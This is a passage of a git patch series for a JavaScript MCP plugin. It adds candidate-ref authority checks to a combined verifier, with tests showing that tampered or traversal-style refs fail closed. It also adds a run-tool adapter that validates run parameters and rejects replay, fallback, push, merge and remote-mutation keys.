&& evidence.facts.length === 1 + && fact.status === 'verified' + && fact.run_id === boundIdentity.run_id + && fact.assignment_id === boundIdentity.assignment_id + && fact.payload.base_sha === boundIdentity.base_sha + && evidence.discrepancies.length === 0; + + return { + authorized: sameRunOwned === true + && classBound === true + && operationBound === true + && evidenceBound === true, + expected, + evidence, + }; +} + +function authorityFailureReceipt(request, payload, binding) { + const evidence = binding.evidence; + const denied = evidence !== null + && evidence.facts.length > 0 + && evidence.facts[0].status === 'failed'; + let facts; + let discrepancies; + if (denied) { + facts = [...evidence.facts]; + discrepancies = evidence.discrepancies.length > 0 + ? [...evidence.discrepancies] + : [emitDiscrepancy('candidate-ref-authority', request, ['git-identity'], 1)]; + } else { + facts = [emitFact(request, 'failed', payload, 0)]; + discrepancies = [emitDiscrepancy('candidate-ref-authority', request, ['git-identity'], 1)]; + } + return finish(request, { + status: 'failed', + api_boundary_status: null, + verification_executed: false, + facts, + discrepancies, + }); +} + function finish(request, values) { const incomplete = values.status === 'incomplete_candidate' || request.composition.incomplete === true @@ -545,7 +673,7 @@ function finish(request, values) { run_id: request.identity.run_id, assignment_id: request.identity.assignment_id, base_sha: request.identity.base_sha, - candidate_ref: request.composition.candidate_ref, + candidate_ref: expectedCandidateRefV1({ run_id: request.identity.run_id }), candidate_sha: request.composition.candidate_sha, parent_count: request.composition.parent_count, composition_status: request.composition.status, @@ -569,6 +697,10 @@ export async function verifyCombinedCandidateV1(input, options) { base_sha: request.identity.base_sha, head_sha: request.composition.candidate_sha ?? request.identity.base_sha, }; + const candidateRefAuthority = revalidateCandidateRefAuthority(request); + if (candidateRefAuthority.authorized !== true) { + return authorityFailureReceipt(request, payload, candidateRefAuthority); + } if (request.composition.status === 'blocked' || request.composition.candidate_sha === null @@ -735,6 +867,7 @@ export function describeRunCombinedVerifierV1() { composed_surfaces: capturedFreeze({ evidence_bundle: 'codex-co-engineer.evidence-bundle.v1', git_identity: 'codex-co-engineer.git-identity.v1', + git_authority: GIT_AUTHORITY_SCHEMA_ID, scope_verifier: 'codex-co-engineer.scope-verifier.v1', constrained_verification: CONSTRAINED_VERIFICATION_SCHEMA_ID, protected_ref_audit: 'codex-co-engineer.protected-ref-audit.v1', @@ -743,6 +876,7 @@ export function describeRunCombinedVerifierV1() { })); } +capturedFreeze(revalidateCandidateRefAuthority); capturedFreeze(parseCombinedCandidateRequestV1); capturedFreeze(verifyCombinedCandidateV1); capturedFreeze(describeRunCombinedVerifierV1); diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-candidate-composer-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-candidate-composer-fixtures.mjs index e0e16f8..200da97 100644 --- a/plugins/codex-co-engineer/test/fixtures/r1-run-candidate-composer-fixtures.mjs +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-candidate-composer-fixtures.mjs @@ -233,6 +233,28 @@ export function candidateRef() { return expectedCandidateRefV1({ run_id: RUN_ID }); } +export function withCandidateRef(composition, candidateRefValue) { + return { ...composition, candidate_ref: candidateRefValue }; +} + +export const DENY_VERIFIER_GIT_OPTIONS = Object.freeze({ + executeVerification: async () => { + throw new Error('p16 must not run for unauthorized candidate_ref'); + }, + verifyGitIdentity: async () => { + throw new Error('p14 must not run for unauthorized candidate_ref'); + }, + verifyScope: async () => { + throw new Error('p15 must not run for unauthorized candidate_ref'); + }, + auditProtectedRefs: async () => { + throw new Error('p30 must not run for unauthorized candidate_ref'); + }, + projectRunApiBoundary: () => { + throw new Error('p32 must not run for unauthorized candidate_ref'); + }, +}); + export function inspectRepo(repo) { const head = git(repo.path, ['rev-parse', 'HEAD']); const main = git(repo.path, ['rev-parse', MAIN_REF]); diff --git a/plugins/codex-co-engineer/test/r1-run-combined-verifier-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-combined-verifier-adversarial.test.mjs index 9aaa473..ea2a119 100644 --- a/plugins/codex-co-engineer/test/r1-run-combined-verifier-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-run-combined-verifier-adversarial.test.mjs @@ -4,6 +4,7 @@ import assert from 'node:assert/strict'; import test from 'node:test'; +import { expectedCandidateRefV1 } from '../mcp/v3/git-authority.mjs'; import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; import { composeRunOwnedCandidateV1 } from '../mcp/v3/run-candidate-composer.mjs'; import { @@ -12,15 +13,20 @@ import { } from '../mcp/v3/run-combined-verifier.mjs'; import { ASSIGNMENT_A, + DENY_VERIFIER_GIT_OPTIONS, HOSTILE_SECRET, HOSTILE_TOKEN, + RUN_ID, addWriterCommit, + candidateRef, composeRequest, countingProxy, createBaseRepo, executeVerificationStub, + inspectRepo, trapTotal, verifyRequest, + withCandidateRef, writerLane, } from './fixtures/r1-run-candidate-composer-fixtures.mjs'; @@ -106,3 +112,71 @@ test('smuggling ready_for_codex_review onto a blocked composition cannot upgrade )); assert.ok(['invalid_format', 'invalid_type'].includes(error.code)); }); + +test('unauthorized candidate_ref tampers fail closed with frozen evidence', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'a\n', + }); + const composition = await composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + ])); + const authorized = candidateRef(); + const otherRun = expectedCandidateRefV1({ run_id: 'run-other-99' }); + const cases = [ + ['exact-main', 'refs/heads/main'], + ['cross-run', otherRun], + ['heads-master', 'refs/heads/master'], + ['heads-develop', 'refs/heads/develop'], + ['tag', 'refs/tags/v1.0.0'], + ['remote', 'refs/remotes/origin/main'], + ['notes', 'refs/notes/commits'], + ['nested', `${authorized}/nested`], + ['escaped', 'refs/codex-co-engineer/runs/run-candidate-01/%2e%2e/candidate'], + ['traversal', 'refs/codex-co-engineer/runs/run-candidate-01/../candidate'], + ['dotdot-main', 'refs/codex-co-engineer/runs/run-candidate-01/../../heads/main'], + ['symbolic-HEAD', 'HEAD'], + ['symbolic-at', `${authorized}@{0}`], + ['aliased-peel', `${authorized}^{}`], + ['missing-empty', ''], + ['contradictory-leaf', 'refs/codex-co-engineer/runs/run-candidate-01/HEAD'], + ]; + + for (const [label, ref] of cases) { + const receipt = await verifyCombinedCandidateV1( + verifyRequest(repo, withCandidateRef(composition, ref)), + DENY_VERIFIER_GIT_OPTIONS, + ); + assert.equal(Object.isFrozen(receipt), true, label); + assert.equal(receipt.status, 'failed', label); + assert.equal(receipt.ready_for_codex_review, false, label); + assert.equal(receipt.verification_executed, false, label); + assert.equal(receipt.integrated, false, label); + assert.equal(receipt.side_effects.remote_mutated, false, label); + assert.equal(receipt.side_effects.push_performed, false, label); + assert.equal(receipt.candidate_ref, authorized, label); + assert.equal(receipt.discrepancies.length > 0, true, label); + assert.equal(receipt.facts.length > 0, true, label); + assert.equal(receipt.facts[0].status, 'failed', label); + assert.equal(receipt.facts[0].run_id, RUN_ID, label); + const serialized = JSON.stringify(receipt); + assert.equal(serialized.includes(HOSTILE_SECRET), false, label); + if (ref.length > 0 && ref !== authorized) { + assert.equal(serialized.includes(ref), false, label); + } + assert.equal(inspectRepo(repo).main, repo.baseSha, label); + assert.equal(inspectRepo(repo).remotes, '', label); + } + + const control = await verifyCombinedCandidateV1( + verifyRequest(repo, withCandidateRef(composition, authorized)), + { executeVerification: executeVerificationStub }, + ); + assert.equal(control.status, 'verified'); + assert.equal(control.ready_for_codex_review, true); + assert.equal(control.candidate_ref, authorized); + assert.equal(inspectRepo(repo).main, repo.baseSha); + assert.equal(inspectRepo(repo).remotes, ''); + assert.equal(inspectRepo(repo).candidate, composition.candidate_sha); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-combined-verifier.test.mjs b/plugins/codex-co-engineer/test/r1-run-combined-verifier.test.mjs index dc38338..73fdb5c 100644 --- a/plugins/codex-co-engineer/test/r1-run-combined-verifier.test.mjs +++ b/plugins/codex-co-engineer/test/r1-run-combined-verifier.test.mjs @@ -7,6 +7,7 @@ import { readFile } from 'node:fs/promises'; import test from 'node:test'; import { fileURLToPath } from 'node:url'; +import { expectedCandidateRefV1 } from '../mcp/v3/git-authority.mjs'; import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; import { composeRunOwnedCandidateV1 } from '../mcp/v3/run-candidate-composer.mjs'; import { @@ -18,7 +19,10 @@ import { import { ASSIGNMENT_A, ASSIGNMENT_B, + DENY_VERIFIER_GIT_OPTIONS, + RUN_ID, addWriterCommit, + candidateRef, composeRequest, createBaseRepo, executeVerificationStub, @@ -26,6 +30,7 @@ import { verificationStub, verifyLane, verifyRequest, + withCandidateRef, writerLane, } from './fixtures/r1-run-candidate-composer-fixtures.mjs'; @@ -64,6 +69,11 @@ test('combined verifier schema never claims integration or Gate A', () => { assert.equal(inventory.gate_a_claimed, false); assert.equal(inventory.imports_server, false); assert.equal(inventory.imports_composer_functions, false); + assert.equal( + inventory.composed_surfaces.git_authority, + 'codex-co-engineer.git-authority.v1', + ); + assert.equal(inventory.checks.includes('p28_candidate_ref_authority'), true); }); test('P35 verifier source does not import server, supervisor, runtime, or scheduler', async () => { @@ -99,6 +109,33 @@ test('a complete composed candidate verifies through accepted evidence', async ( assert.equal(receipt.parent_count, 1); assert.equal(receipt.verification_executed, true); assert.equal(receipt.api_boundary_status, 'ready'); + assert.equal(receipt.candidate_ref, expectedCandidateRefV1({ run_id: RUN_ID })); + assert.equal(receipt.candidate_ref, candidateRef()); + assert.equal(inspectRepo(repo).main, repo.baseSha); + assert.equal(inspectRepo(repo).remotes, ''); +}); + +test('exact tamper of candidate_ref to refs/heads/main never verifies or is ready', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'from-a\n', + }); + const composition = await composed(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + verifyLane(), + ]); + const tampered = withCandidateRef(composition, 'refs/heads/main'); + const receipt = await verifyCombinedCandidateV1( + verifyRequest(repo, tampered), DENY_VERIFIER_GIT_OPTIONS, + ); + assertFrozenTree(receipt); + assert.equal(receipt.status, 'failed'); + assert.equal(receipt.ready_for_codex_review, false); + assert.equal(receipt.verification_executed, false); + assert.equal(receipt.integrated, false); + assert.equal(receipt.candidate_ref, candidateRef()); + assert.equal(receipt.discrepancies.length > 0, true); assert.equal(inspectRepo(repo).main, repo.baseSha); assert.equal(inspectRepo(repo).remotes, ''); }); From 9177346380f894d01017d89a02eefc4c49c61f84 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Wed, 26 Aug 2026 01:47:50 +0000 Subject: [PATCH 143/151] feat(v3): wire bounded runs through five-tool additive parameters Map submit/status/wait/attention/reply/cancel/cleanup onto the frozen status, delegate, task, tasks, and cancel catalog. Omitted additive fields keep exact 3.2.1 behavior; validation fails before dispatch, ref creation, or cleanup. Provider selection stays on the four-slot registry with P33/P34/P35 and R-TRUTH authority preserved. --- .../mcp/v3/run-tool-adapter.mjs | 1199 +++++++++++++++++ plugins/codex-co-engineer/mcp/v3/server.mjs | 148 +- .../codex-co-engineer/mcp/v3/supervisor.mjs | 106 ++ 3 files changed, 1438 insertions(+), 15 deletions(-) create mode 100644 plugins/codex-co-engineer/mcp/v3/run-tool-adapter.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/run-tool-adapter.mjs b/plugins/codex-co-engineer/mcp/v3/run-tool-adapter.mjs new file mode 100644 index 0000000..5fcbfb2 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/run-tool-adapter.mjs @@ -0,0 +1,1199 @@ +// RunToolAdapterV1 — R-CUTOVER five-tool wiring (ADR 0001 identifiers +// `additive_3_2_1_compatibility`, `bounded_run_1_to_8`, +// `decision_or_attention`, `deterministic_explicit_or_profile_resolution`, +// `no_direct_mode_for_run_submissions`, `no_post_dispatch_fallback_or_replay`, +// `gate_a_no_protected_ref_mutation`). +// +// Additive v3 adapter. It maps submit/status/wait/attention/reply/cancel/ +// cleanup onto the frozen five-tool catalog through Sol-frozen additive +// parameters and modes. There is no sixth MCP tool. Omitted additive fields +// keep the exact 3.2.1 direct/single-task path. Parsing or validation +// failure produces zero provider dispatch, replay, fallback, ref creation, +// or cleanup. Provider/model is explicit or a caller-named profile; P22 is +// conformance evidence never a slot; P33/P34/P35 remain the authority for +// runtime, attention, and candidate refs. MCP output is model-facing and +// therefore sanitized. + +import { types as utilTypes } from 'node:util'; + +import { + denyRunRemoteMutationV1, +} from './run-orchestration.mjs'; +import { + CANDIDATE_REF_NAMESPACE, + GIT_AUTHORITY_SCHEMA_ID, + GIT_AUTHORITY_VERSION, + expectedCandidateRefV1, + isRunOwnedCandidateRefV1, + classifyGitOperationV1, +} from './git-authority.mjs'; +import { + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + capturedOwnKeys, + capturedTest, + isKnownProvider, + isModelId, + isProfileName, + knownProvidersJoined, +} from './grammar.mjs'; +import { + FUTURE_HARNESS_CONFORMANCE_SCHEMA_ID, + FUTURE_HARNESS_TEMPLATE_SCHEMA_ID, +} from './future-harness.mjs'; +import { + PROVIDER_REGISTRY_SLOTS, + describeProviderRegistryV1, + isRegistrySlotV1, + requireRegistrySlotV1, + resolveRegistrySelectionV1, +} from './provider-registry.mjs'; +import { + MAX_ASSIGNMENTS, + MIN_ASSIGNMENTS, + RUN_ID_PATTERN, + RunContractV1Error, + assertRunId, + isAssignmentId, +} from './run-manifest.mjs'; +import { + RUN_RUNTIME_METHODS, + createRunRuntime, +} from './run-runtime.mjs'; +import { createRunScheduler } from './run-scheduler.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + freezeData, + hasOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const RUN_TOOL_ADAPTER_SCHEMA_ID = 'codex-co-engineer.run-tool-adapter.v1'; +export const RUN_TOOL_ADAPTER_VERSION = 1; +export const RUN_TOOL_ADAPTER_RECEIPT_SCHEMA_ID = 'codex-co-engineer.run-tool-receipt.v1'; + +export const PUBLIC_MCP_CATALOG = capturedFreeze([ + 'status', 'delegate', 'task', 'tasks', 'cancel', +]); +export const RUN_TOOL_OPERATIONS = capturedFreeze([ + 'submit', 'status', 'wait', 'attention', 'reply', 'cancel', 'cleanup', +]); +export const RUN_TOOL_MODES = capturedFreeze(['legacy', 'run']); +export const ADDITIVE_WAIT_UNTIL = 'decision_or_attention'; +export const WAIT_UNTIL_VALUES = capturedFreeze([ + 'progress', 'terminal', ADDITIVE_WAIT_UNTIL, +]); + +export const ADDITIVE_STATUS_KEYS = capturedFreeze(['run_id']); +export const ADDITIVE_DELEGATE_KEYS = capturedFreeze(['run']); +export const ADDITIVE_TASK_KEYS = capturedFreeze([ + 'run_id', 'assignment_id', 'attention', 'run_reply', +]); +export const ADDITIVE_TASKS_KEYS = capturedFreeze(['run_id']); +export const ADDITIVE_CANCEL_KEYS = capturedFreeze([ + 'run_id', 'assignment_ids', 'cleanup', +]); + +export const RUN_SUBMIT_KEYS = capturedFreeze([ + 'assignments', 'git', 'identity', 'objective', 'profile', 'provenance', + 'request_idempotency_key', 'run_id', 'telemetry', +]); +export const RUN_SUBMIT_REQUIRED_KEYS = capturedFreeze([ + 'assignments', 'git', 'identity', 'provenance', 'request_idempotency_key', + 'run_id', 'telemetry', +]); +export const RUN_ASSIGNMENT_KEYS = capturedFreeze([ + 'access', 'assignment_id', 'expected_duration_ms', 'model', 'profile', + 'prompt', 'provider', 'required', 'role', 'starting_ref', 'task_id', + 'write_scope', +]); +export const RUN_ASSIGNMENT_RUNTIME_KEYS = capturedFreeze([ + 'access', 'assignment_id', 'model', 'provider', 'required', 'role', + 'starting_ref', 'task_id', 'write_scope', +]); +export const ATTENTION_REQUEST_KEYS = capturedFreeze(['expected_revision', 'items']); +export const RUN_REPLY_KEYS = capturedFreeze([ + 'batch_id', 'expected_revision', 'reply', +]); +export const RUN_TOOL_RECEIPT_KEYS = capturedFreeze([ + 'assignment_count', 'attention', 'audience', 'candidate', 'checks', + 'cleanup', 'complete_candidate_blocked', 'decision_or_attention', + 'lanes', 'mode', 'operation', 'remote_mutated', 'run_id', 'schema', + 'side_effects', 'status', 'tool', 'version', 'wake', +]); + +export const RUN_TOOL_ADAPTER_CHECKS = capturedFreeze([ + 'catalog_five_tools', + 'omission_preserves_3_2_1', + 'validation_before_side_effects', + 'assignment_count_1_to_8', + 'explicit_or_profile_provider_model', + 'four_slot_registry', + 'p22_not_a_provider', + 'no_learned_routing', + 'decision_or_attention', + 'exactly_once_reply', + 'unresolved_required_blocks', + 'owner_raw_vs_model_sanitized', + 'lifecycle_cleanup_authority', + 'p35_candidate_ref_authority', + 'remote_mutation_denied', +]); +export const RUN_TOOL_ADAPTER_SIDE_EFFECTS = capturedFreeze([ + 'provider_dispatched', + 'replay', + 'fallback', + 'ref_created', + 'cleanup_executed', + 'candidate_composed', + 'remote_mutated', + 'sixth_tool_exposed', +]); +export const RUN_TOOL_ADAPTER_ALWAYS_FALSE_SIDE_EFFECTS = capturedFreeze([ + 'replay', + 'fallback', + 'ref_created', + 'candidate_composed', + 'remote_mutated', + 'sixth_tool_exposed', +]); + +export const MAX_ADAPTER_DIAGNOSTIC_BYTES = 160; +export const RUN_ID_SCHEMA_PATTERN = RUN_ID_PATTERN.source; + +const IS_PROXY = utilTypes.isProxy; +const STRING = String; +const ARRAY_IS_ARRAY = Array.isArray; +const REFLECT_OWN_KEYS = Reflect.ownKeys; +const IDEMPOTENCY_KEY_PATTERN = /^sha256:[0-9a-f]{64}$/u; +const TASK_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._-]{0,79}$/u; +const P22_PROVIDER_ALIASES = capturedFreeze([ + 'p22', 'future-harness', 'future_harness', 'conformance', + 'provider-driver-template', 'harness', +]); +const LEARNED_ROUTING_KEYS = capturedFreeze([ + 'router', 'routing', 'rank', 'score', 'cost', 'learned', 'predict', + 'fallback_provider', 'fallback_model', 'preference_walk', +]); +const FORBIDDEN_KEY_CODES = capturedFreeze({ + allow_fallback: 'replay_or_fallback_denied', + allow_post_dispatch_fallback: 'replay_or_fallback_denied', + allow_replay: 'replay_or_fallback_denied', + fallback: 'replay_or_fallback_denied', + fallback_model: 'replay_or_fallback_denied', + fallback_provider: 'replay_or_fallback_denied', + fallbacks: 'replay_or_fallback_denied', + redrive: 'replay_or_fallback_denied', + replay: 'replay_or_fallback_denied', + resend: 'replay_or_fallback_denied', + retry: 'replay_or_fallback_denied', + retry_dispatch: 'replay_or_fallback_denied', + direct_mode: 'direct_mode_rejected', + workspace_mode: 'direct_mode_rejected', + allow_create_pr: 'merge_authority_denied', + allow_merge: 'merge_authority_denied', + allow_push: 'merge_authority_denied', + create_pr: 'merge_authority_denied', + create_pull_request: 'merge_authority_denied', + force_push: 'merge_authority_denied', + merge: 'merge_authority_denied', + merge_pr: 'merge_authority_denied', + merges: 'merge_authority_denied', + open_pr: 'merge_authority_denied', + push: 'merge_authority_denied', + push_branch: 'merge_authority_denied', + github: 'remote_mutation_denied', + remote: 'remote_mutation_denied', + candidate: 'candidate_authority_denied', + compose: 'candidate_authority_denied', + router: 'learned_routing_denied', + routing: 'learned_routing_denied', + rank: 'learned_routing_denied', + score: 'learned_routing_denied', + cost: 'learned_routing_denied', + learned: 'learned_routing_denied', +}); + +const TOOL_ADDITIVE = capturedFreeze({ + status: ADDITIVE_STATUS_KEYS, + delegate: ADDITIVE_DELEGATE_KEYS, + task: ADDITIVE_TASK_KEYS, + tasks: ADDITIVE_TASKS_KEYS, + cancel: ADDITIVE_CANCEL_KEYS, +}); + +const CONTENT_FREE = capturedFreeze({ + accessor_property_denied: 'Accessor properties are denied.', + aliased_reference_denied: 'Aliased references are denied.', + candidate_authority_denied: 'Candidate composition stays on the P35 seam.', + catalog_sixth_tool_denied: 'The public catalog remains five tools.', + cleanup_unproven: 'Cleanup requires P33 proof-bound finality.', + direct_mode_rejected: 'Run submissions reject direct mode.', + duplicate_assignment_id: 'Assignment ids in a run must be unique.', + duplicate_task_id: 'Task ids in a run must be unique.', + exotic_prototype_denied: 'Exotic prototypes are denied.', + injected_dependency_invalid: 'createRunToolAdapter requires the closed injected seams.', + invalid_format: 'A run-tool field is not in the required format.', + invalid_type: 'A run-tool field is not the required JSON type.', + learned_routing_denied: 'Provider selection is explicit or a named profile.', + merge_authority_denied: 'Merge, push, and pull-request authority is denied.', + missing_key: 'A required run-tool field is missing.', + mixed_run_operation: 'One tool call maps to exactly one run operation.', + mixed_tool_mode: 'Run parameters cannot mix with 3.2.1 single-task fields.', + own_undefined_denied: 'Own undefined values are denied.', + out_of_range: 'A run-tool collection is outside the closed 1-8 bound.', + p22_not_a_provider: 'P22 is conformance evidence and never a provider slot.', + proxy_denied: 'Proxy values are denied.', + remote_mutation_denied: 'Remote mutation is denied.', + replay_or_fallback_denied: 'Replay and fallback are denied.', + selection_unresolved: 'Provider and model must be explicit or profile-selected.', + symbol_key_denied: 'Symbol keys are denied.', + unknown_key: 'A run-tool field is outside the closed vocabulary.', + unknown_operation: 'The tool arguments do not map to a frozen run operation.', + unknown_provider: 'The provider is not an accepted four-slot registry entry.', + unknown_tool: 'The public catalog remains status, delegate, task, tasks, cancel.', +}); + +export const RUN_TOOL_ADAPTER_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', + 'aliased_reference_denied', + 'candidate_authority_denied', + 'catalog_sixth_tool_denied', + 'cleanup_unproven', + 'direct_mode_rejected', + 'duplicate_assignment_id', + 'duplicate_task_id', + 'exotic_prototype_denied', + 'injected_dependency_invalid', + 'invalid_format', + 'invalid_type', + 'learned_routing_denied', + 'merge_authority_denied', + 'missing_key', + 'mixed_run_operation', + 'mixed_tool_mode', + 'own_undefined_denied', + 'out_of_range', + 'p22_not_a_provider', + 'proxy_denied', + 'remote_mutation_denied', + 'replay_or_fallback_denied', + 'selection_unresolved', + 'symbol_key_denied', + 'unknown_key', + 'unknown_operation', + 'unknown_provider', + 'unknown_tool', +]); + +const ADAPTER_DEPENDENCY_KEYS = capturedFreeze([ + 'attention', 'classifyLaneTask', 'projectLaneTask', 'rememberSubmitContext', + 'runtime', +]); +const RUNTIME_METHODS = RUN_RUNTIME_METHODS; +const ATTENTION_METHODS = capturedFreeze(['get', 'reply']); + +function diagnostic(value) { + const text = STRING(value ?? ''); + return text.length <= MAX_ADAPTER_DIAGNOSTIC_BYTES + ? text + : text.slice(0, MAX_ADAPTER_DIAGNOSTIC_BYTES); +} + +function failAdapter(code, field, message) { + fail(code, field, diagnostic(message ?? CONTENT_FREE[code] ?? CONTENT_FREE.invalid_format)); +} + +function emptySideEffects() { + const sideEffects = {}; + for (const claim of RUN_TOOL_ADAPTER_SIDE_EFFECTS) sideEffects[claim] = false; + return sideEffects; +} + +function emptyChecks() { + const checks = {}; + for (const name of RUN_TOOL_ADAPTER_CHECKS) checks[name] = true; + return checks; +} + +function ownKeySet(value, field) { + assertNotProxy(value, field); + let keys; + try { + keys = capturedOwnKeys(value); + } catch { + failAdapter('invalid_type', field, CONTENT_FREE.invalid_type); + } + for (const key of keys) { + if (typeof key === 'symbol') { + failAdapter('symbol_key_denied', field, CONTENT_FREE.symbol_key_denied); + } + } + return keys.filter((key) => typeof key === 'string'); +} + +function hasOwnAdditive(args, keys) { + if (args === undefined || args === null) return false; + if (typeof args !== 'object' && typeof args !== 'function') return false; + if (IS_PROXY(args)) return true; + for (const key of keys) { + if (capturedHasOwn(args, key)) return true; + } + return false; +} + +function waitUntilValue(args) { + if (args === undefined || args === null || typeof args !== 'object') return undefined; + if (IS_PROXY(args)) return undefined; + if (!capturedHasOwn(args, 'wait_until')) return undefined; + try { + return args.wait_until; + } catch { + return undefined; + } +} + +export function classifyRunToolCall(tool, args) { + if (!capturedIncludes(PUBLIC_MCP_CATALOG, tool)) { + return freezeData({ + mode: 'run', + tool: typeof tool === 'string' ? tool : null, + operation: null, + additive: true, + }); + } + const additiveKeys = TOOL_ADDITIVE[tool]; + const additive = hasOwnAdditive(args, additiveKeys) + || waitUntilValue(args) === ADDITIVE_WAIT_UNTIL; + if (!additive) { + return freezeData({ + mode: 'legacy', + tool, + operation: null, + additive: false, + }); + } + return freezeData({ + mode: 'run', + tool, + operation: null, + additive: true, + }); +} + +function denyForbiddenTree(value, path) { + if (value === null || typeof value !== 'object') return; + if (IS_PROXY(value)) failAdapter('proxy_denied', path, CONTENT_FREE.proxy_denied); + const keys = REFLECT_OWN_KEYS(value); + for (const key of keys) { + if (typeof key !== 'string') { + failAdapter('symbol_key_denied', path, CONTENT_FREE.symbol_key_denied); + } + if (capturedHasOwn(FORBIDDEN_KEY_CODES, key)) { + failAdapter(FORBIDDEN_KEY_CODES[key], `${path}.${key}`, CONTENT_FREE[FORBIDDEN_KEY_CODES[key]]); + } + if (capturedIncludes(LEARNED_ROUTING_KEYS, key)) { + failAdapter('learned_routing_denied', `${path}.${key}`, CONTENT_FREE.learned_routing_denied); + } + } + if (ARRAY_IS_ARRAY(value)) { + for (let index = 0; index < value.length; index += 1) { + denyForbiddenTree(value[index], `${path}[${index}]`); + } + return; + } + for (const key of keys) { + if (typeof key === 'string') denyForbiddenTree(value[key], `${path}.${key}`); + } +} + +function quarantineObject(value, field, allowed) { + if (value === undefined || value === null) { + failAdapter('invalid_type', field, CONTENT_FREE.invalid_type); + } + assertNotProxy(value, field); + assertPlainObject(value, 'invalid_type', field, 'The run-tool object'); + assertDirectJsonClosure(value, field); + denyForbiddenTree(value, field); + const keys = ownKeySet(value, field); + for (const key of keys) { + if (!capturedIncludes(allowed, key)) { + failAdapter('unknown_key', `${field}.${key}`, CONTENT_FREE.unknown_key); + } + } + freezeData(value); + return value; +} + +function requireString(object, key, field, predicate, code = 'invalid_format') { + if (!hasOwn(object, key)) failAdapter('missing_key', field, CONTENT_FREE.missing_key); + const value = ownDataValue(object, key, field); + if (typeof value !== 'string' || (predicate && !predicate(value))) { + failAdapter(code, field, CONTENT_FREE[code] ?? CONTENT_FREE.invalid_format); + } + return value; +} + +function optionalValue(object, key, field) { + if (!hasOwn(object, key)) return undefined; + return ownDataValue(object, key, field); +} + +function assertClosedTool(tool) { + if (!capturedIncludes(PUBLIC_MCP_CATALOG, tool)) { + failAdapter( + tool == null ? 'unknown_tool' : 'catalog_sixth_tool_denied', + 'tool', + CONTENT_FREE.unknown_tool, + ); + } + return tool; +} + +function mixLegacySingleTask(tool, args) { + if (tool === 'delegate') { + return capturedHasOwn(args, 'task_id') + || capturedHasOwn(args, 'provider') + || capturedHasOwn(args, 'repo') + || capturedHasOwn(args, 'prompt') + || capturedHasOwn(args, 'workspace_mode') + || capturedHasOwn(args, 'create_pr') + || capturedHasOwn(args, 'dsh_model'); + } + if (tool === 'task') { + return capturedHasOwn(args, 'task_id') || capturedHasOwn(args, 'reply'); + } + if (tool === 'cancel') return capturedHasOwn(args, 'task_id'); + if (tool === 'tasks') { + return capturedHasOwn(args, 'detail') + || capturedHasOwn(args, 'limit') + || capturedHasOwn(args, 'provider') + || capturedHasOwn(args, 'state') + || capturedHasOwn(args, 'status') + || capturedHasOwn(args, 'task_ids') + || (capturedHasOwn(args, 'cursor') && !capturedHasOwn(args, 'run_id')); + } + return false; +} + +function resolveOperation(tool, args) { + if (tool === 'delegate') return 'submit'; + if (tool === 'status') return 'status'; + if (tool === 'cancel') { + return optionalValue(args, 'cleanup', 'cleanup') === true ? 'cleanup' : 'cancel'; + } + if (tool === 'tasks') return 'wait'; + if (tool === 'task') { + const hasAttention = capturedHasOwn(args, 'attention'); + const hasReply = capturedHasOwn(args, 'run_reply'); + const waitUntil = waitUntilValue(args); + const flagged = [hasAttention, hasReply, waitUntil === ADDITIVE_WAIT_UNTIL] + .filter(Boolean).length; + if (flagged > 1) { + failAdapter('mixed_run_operation', 'task', CONTENT_FREE.mixed_run_operation); + } + if (hasAttention) return 'attention'; + if (hasReply) return 'reply'; + if (waitUntil === ADDITIVE_WAIT_UNTIL || capturedHasOwn(args, 'wait_ms')) return 'wait'; + return 'status'; + } + failAdapter('unknown_operation', 'tool', CONTENT_FREE.unknown_operation); + return null; +} + +function denyP22(provider, field) { + if (typeof provider === 'string' && capturedIncludes(P22_PROVIDER_ALIASES, provider)) { + failAdapter('p22_not_a_provider', field, CONTENT_FREE.p22_not_a_provider); + } + if (provider === FUTURE_HARNESS_TEMPLATE_SCHEMA_ID + || provider === FUTURE_HARNESS_CONFORMANCE_SCHEMA_ID) { + failAdapter('p22_not_a_provider', field, CONTENT_FREE.p22_not_a_provider); + } +} + +function assertRegistryProvider(provider, model, field) { + denyP22(provider, field); + if (!isKnownProvider(provider) || !isRegistrySlotV1(provider)) { + failAdapter('unknown_provider', field, CONTENT_FREE.unknown_provider); + } + requireRegistrySlotV1(provider); + if (typeof model !== 'string' || !isModelId(model)) { + failAdapter('invalid_format', `${field}.model`, CONTENT_FREE.invalid_format); + } + resolveRegistrySelectionV1({ provider, model }); +} + +function stripAssignment(assignment) { + const stripped = {}; + for (const key of RUN_ASSIGNMENT_RUNTIME_KEYS) { + if (capturedHasOwn(assignment, key)) stripped[key] = assignment[key]; + } + return stripped; +} + +function parseAssignments(value) { + if (!ARRAY_IS_ARRAY(value) && !capturedIsArray(value)) { + failAdapter('invalid_type', 'run.assignments', CONTENT_FREE.invalid_type); + } + if (value.length < MIN_ASSIGNMENTS || value.length > MAX_ASSIGNMENTS) { + failAdapter('out_of_range', 'run.assignments', CONTENT_FREE.out_of_range); + } + const seenIds = new Set(); + const seenTasks = new Set(); + const parsed = []; + const prompts = {}; + const durations = {}; + for (let index = 0; index < value.length; index += 1) { + const path = 